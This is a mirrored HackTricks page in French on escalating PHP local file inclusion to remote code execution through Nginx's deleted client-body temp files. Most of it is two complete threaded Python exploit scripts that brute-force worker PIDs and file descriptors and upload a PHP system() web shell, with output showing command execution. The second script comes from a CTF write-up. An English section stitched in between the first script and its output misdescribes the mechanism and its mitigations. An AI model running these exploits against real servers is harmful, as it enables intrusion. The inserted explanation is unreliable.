mirror of
https://github.com/carlospolop/hacktricks
synced 2025-01-23 02:15:07 +00:00
319 lines
15 KiB
Markdown
319 lines
15 KiB
Markdown
## LFI2RCE via fichiers temporaires Nginx
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
|
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
## Configuration vulnérable
|
|
|
|
* Code PHP :
|
|
```
|
|
<?php include_once($_GET['file']);
|
|
```
|
|
* Configuration FPM / PHP:
|
|
```
|
|
...
|
|
php_admin_value[session.upload_progress.enabled] = 0
|
|
php_admin_value[file_uploads] = 0
|
|
...
|
|
```
|
|
* Configuration / renforcement :
|
|
```
|
|
...
|
|
chown -R 0:0 /tmp /var/tmp /var/lib/php/sessions
|
|
chmod -R 000 /tmp /var/tmp /var/lib/php/sessions
|
|
...
|
|
```
|
|
Heureusement, PHP est actuellement souvent déployé via PHP-FPM et Nginx. Nginx offre une fonctionnalité de [mise en tampon du corps du client](https://nginx.org/en/docs/http/ngx\_http\_core\_module.html#client\_body\_buffer\_size) facilement négligée, qui écrira des fichiers temporaires si le corps du client (pas limité à POST) est plus grand qu'un certain seuil.
|
|
|
|
Cette fonctionnalité permet aux LFIs d'être exploités sans aucune autre façon de créer des fichiers, si Nginx s'exécute en tant que même utilisateur que PHP (très souvent fait en tant que www-data).
|
|
|
|
Code Nginx pertinent:
|
|
```c
|
|
ngx_fd_t
|
|
ngx_open_tempfile(u_char *name, ngx_uint_t persistent, ngx_uint_t access)
|
|
{
|
|
ngx_fd_t fd;
|
|
|
|
fd = open((const char *) name, O_CREAT|O_EXCL|O_RDWR,
|
|
access ? access : 0600);
|
|
|
|
if (fd != -1 && !persistent) {
|
|
(void) unlink((const char *) name);
|
|
}
|
|
|
|
return fd;
|
|
}
|
|
```
|
|
Il est visible que **le fichier temporaire est supprimé immédiatement** après avoir été ouvert par Nginx. Heureusement, **procfs peut être utilisé pour obtenir une référence** au fichier supprimé via une course :
|
|
```
|
|
...
|
|
/proc/34/fd:
|
|
total 0
|
|
lrwx------ 1 www-data www-data 64 Dec 25 23:56 0 -> /dev/pts/0
|
|
lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0
|
|
lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon_inode:[eventfd]
|
|
lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:[27587]
|
|
lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:[27589]
|
|
lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:[44926]
|
|
lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:[44927]
|
|
lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted)
|
|
...
|
|
```
|
|
Note: On ne peut pas inclure directement `/proc/34/fd/15` dans cet exemple car la fonction `include` de PHP résoudrait le chemin en `/var/lib/nginx/body/0000001368 (supprimé)` qui n'existe pas dans le système de fichiers. Cette petite restriction peut heureusement être contournée par une certaine indirection comme: `/proc/self/fd/34/../../../34/fd/15` qui exécutera finalement le contenu du fichier `/var/lib/nginx/body/0000001368` supprimé.
|
|
|
|
## Exploitation complète
|
|
```python
|
|
#!/usr/bin/env python3
|
|
import sys, threading, requests
|
|
|
|
# exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance
|
|
# see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details
|
|
|
|
URL = f'http://{sys.argv[1]}:{sys.argv[2]}/'
|
|
|
|
# find nginx worker processes
|
|
r = requests.get(URL, params={
|
|
'file': '/proc/cpuinfo'
|
|
})
|
|
cpus = r.text.count('processor')
|
|
|
|
r = requests.get(URL, params={
|
|
'file': '/proc/sys/kernel/pid_max'
|
|
})
|
|
pid_max = int(r.text)
|
|
print(f'[*] cpus: {cpus}; pid_max: {pid_max}')
|
|
|
|
nginx_workers = []
|
|
for pid in range(pid_max):
|
|
r = requests.get(URL, params={
|
|
'file': f'/proc/{pid}/cmdline'
|
|
})
|
|
|
|
if b'nginx: worker process' in r.content:
|
|
print(f'[*] nginx worker found: {pid}')
|
|
|
|
nginx_workers.append(pid)
|
|
if len(nginx_workers) >= cpus:
|
|
break
|
|
|
|
done = False
|
|
|
|
# upload a big client body to force nginx to create a /var/lib/nginx/body/$X
|
|
def uploader():
|
|
print('[+] starting uploader')
|
|
while not done:
|
|
requests.get(URL, data='<?php system($_GET["c"]); /*' + 16*1024*'A')
|
|
|
|
for _ in range(16):
|
|
t = threading.Thread(target=uploader)
|
|
t.start()
|
|
|
|
# brute force nginx's fds to include body files via procfs
|
|
# use ../../ to bypass include's readlink / stat problems with resolving fds to `/var/lib/nginx/body/0000001150 (deleted)`
|
|
def bruter(pid):
|
|
global done
|
|
|
|
while not done:
|
|
print(f'[+] brute loop restarted: {pid}')
|
|
for fd in range(4, 32):
|
|
f = f'/proc/self/fd/{pid}/../../../{pid}/fd/{fd}'
|
|
r = requests.get(URL, params={
|
|
'file': f,
|
|
'c': f'id'
|
|
})
|
|
if r.text:
|
|
print(f'[!] {f}: {r.text}')
|
|
done = True
|
|
exit()
|
|
|
|
for pid in nginx_workers:
|
|
a = threading.Thread(target=bruter, args=(pid, ))
|
|
a.start()
|
|
```
|
|
# LFI to RCE via Nginx temp files
|
|
|
|
## Description
|
|
|
|
This technique allows an attacker to achieve Remote Code Execution (RCE) by exploiting a Local File Inclusion (LFI) vulnerability in a web application that uses Nginx as a web server.
|
|
|
|
When Nginx serves a request for a file, it creates a temporary file with the same name as the requested file in the `/var/tmp/nginx` directory. This file is used to store the response body of the request. If the requested file is not found, Nginx will return an error page that includes the path of the temporary file.
|
|
|
|
An attacker can use this behavior to achieve RCE by exploiting a LFI vulnerability in the web application. By requesting a file that does not exist, the attacker can force Nginx to create a temporary file with a predictable name. The attacker can then include this file using the LFI vulnerability and inject PHP code into it. When the temporary file is served by Nginx, the injected PHP code will be executed with the privileges of the web server.
|
|
|
|
## Exploitation
|
|
|
|
To exploit this vulnerability, the attacker needs to find a LFI vulnerability in the web application. Once a LFI vulnerability is found, the attacker can use the following steps to achieve RCE:
|
|
|
|
1. Request a non-existent file to force Nginx to create a temporary file with a predictable name.
|
|
2. Include the temporary file using the LFI vulnerability and inject PHP code into it.
|
|
3. Wait for the temporary file to be served by Nginx and execute the injected PHP code.
|
|
|
|
The following example shows how to exploit this vulnerability using a LFI vulnerability in a PHP script:
|
|
|
|
```
|
|
http://example.com/index.php?page=/../../../../var/tmp/nginx/client_body/0000000001
|
|
```
|
|
|
|
In this example, the attacker is requesting the temporary file `0000000001` that was created by Nginx. The attacker can then include this file using the LFI vulnerability and inject PHP code into it.
|
|
|
|
## Mitigation
|
|
|
|
To mitigate this vulnerability, it is recommended to:
|
|
|
|
- Use a Content Security Policy (CSP) to restrict the sources of content that can be loaded by the web application.
|
|
- Use a Web Application Firewall (WAF) to detect and block requests that exploit LFI vulnerabilities.
|
|
- Configure Nginx to use a different directory for temporary files, and restrict access to this directory to prevent unauthorized access.
|
|
```
|
|
$ ./pwn.py 127.0.0.1 1337
|
|
[*] cpus: 2; pid_max: 32768
|
|
[*] nginx worker found: 33
|
|
[*] nginx worker found: 34
|
|
[+] starting uploader
|
|
[+] starting uploader
|
|
[+] starting uploader
|
|
[+] starting uploader
|
|
[+] starting uploader
|
|
[+] starting uploader
|
|
[+] starting uploader
|
|
[+] starting uploader
|
|
[+] starting uploader
|
|
[+] starting uploader
|
|
[+] starting uploader
|
|
[+] starting uploader
|
|
[+] starting uploader
|
|
[+] starting uploader
|
|
[+] starting uploader
|
|
[+] starting uploader
|
|
[+] brute loop restarted: 33
|
|
[+] brute loop restarted: 34
|
|
[!] /proc/self/fd/34/../../../34/fd/9: uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
|
```
|
|
### Une autre exploitation
|
|
|
|
Ceci est tiré de [https://lewin.co.il/winning-the-impossible-race-an-unintended-solution-for-includers-revenge-counter-hxp-2021/](https://lewin.co.il/winning-the-impossible-race-an-unintended-solution-for-includers-revenge-counter-hxp-2021/)
|
|
```python
|
|
import requests
|
|
import threading
|
|
import multiprocessing
|
|
import threading
|
|
import random
|
|
|
|
SERVER = "http://localhost:8088"
|
|
NGINX_PIDS_CACHE = set([34, 35, 36, 37, 38, 39, 40, 41])
|
|
# Set the following to True to use the above set of PIDs instead of scanning:
|
|
USE_NGINX_PIDS_CACHE = False
|
|
|
|
def create_requests_session():
|
|
session = requests.Session()
|
|
# Create a large HTTP connection pool to make HTTP requests as fast as possible without TCP handshake overhead
|
|
adapter = requests.adapters.HTTPAdapter(pool_connections=1000, pool_maxsize=10000)
|
|
session.mount('http://', adapter)
|
|
return session
|
|
|
|
def get_nginx_pids(requests_session):
|
|
if USE_NGINX_PIDS_CACHE:
|
|
return NGINX_PIDS_CACHE
|
|
nginx_pids = set()
|
|
# Scan up to PID 200
|
|
for i in range(1, 200):
|
|
cmdline = requests_session.get(SERVER + f"/?action=read&file=/proc/{i}/cmdline").text
|
|
if cmdline.startswith("nginx: worker process"):
|
|
nginx_pids.add(i)
|
|
return nginx_pids
|
|
|
|
def send_payload(requests_session, body_size=1024000):
|
|
try:
|
|
# The file path (/bla) doesn't need to exist - we simply need to upload a large body to Nginx and fail fast
|
|
payload = '<?php system("/readflag"); ?> //'
|
|
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
|
|
except:
|
|
pass
|
|
|
|
def send_payload_worker(requests_session):
|
|
while True:
|
|
send_payload(requests_session)
|
|
|
|
def send_payload_multiprocess(requests_session):
|
|
# Use all CPUs to send the payload as request body for Nginx
|
|
for _ in range(multiprocessing.cpu_count()):
|
|
p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,))
|
|
p.start()
|
|
|
|
def generate_random_path_prefix(nginx_pids):
|
|
# This method creates a path from random amount of ProcFS path components. A generated path will look like /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root
|
|
path = ""
|
|
component_num = random.randint(0, 10)
|
|
for _ in range(component_num):
|
|
pid = random.choice(nginx_pids)
|
|
if random.randint(0, 1) == 0:
|
|
path += f"/proc/{pid}/cwd"
|
|
else:
|
|
path += f"/proc/{pid}/root"
|
|
return path
|
|
|
|
def read_file(requests_session, nginx_pid, fd, nginx_pids):
|
|
nginx_pid_list = list(nginx_pids)
|
|
while True:
|
|
path = generate_random_path_prefix(nginx_pid_list)
|
|
path += f"/proc/{nginx_pid}/fd/{fd}"
|
|
try:
|
|
d = requests_session.get(SERVER + f"/?action=include&file={path}").text
|
|
except:
|
|
continue
|
|
# Flags are formatted as hxp{<flag>}
|
|
if "hxp" in d:
|
|
print("Found flag! ")
|
|
print(d)
|
|
|
|
def read_file_worker(requests_session, nginx_pid, nginx_pids):
|
|
# Scan Nginx FDs between 10 - 45 in a loop. Since files and sockets keep closing - it's very common for the request body FD to open within this range
|
|
for fd in range(10, 45):
|
|
thread = threading.Thread(target = read_file, args = (requests_session, nginx_pid, fd, nginx_pids))
|
|
thread.start()
|
|
|
|
def read_file_multiprocess(requests_session, nginx_pids):
|
|
for nginx_pid in nginx_pids:
|
|
p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids))
|
|
p.start()
|
|
|
|
if __name__ == "__main__":
|
|
print('[DEBUG] Creating requests session')
|
|
requests_session = create_requests_session()
|
|
print('[DEBUG] Getting Nginx pids')
|
|
nginx_pids = get_nginx_pids(requests_session)
|
|
print(f'[DEBUG] Nginx pids: {nginx_pids}')
|
|
print('[DEBUG] Starting payload sending')
|
|
send_payload_multiprocess(requests_session)
|
|
print('[DEBUG] Starting fd readers')
|
|
read_file_multiprocess(requests_session, nginx_pids)
|
|
```
|
|
## Laboratoires
|
|
|
|
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz)
|
|
* [https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/](https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/)
|
|
* [https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/](https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/)
|
|
|
|
## Références
|
|
|
|
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
|
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|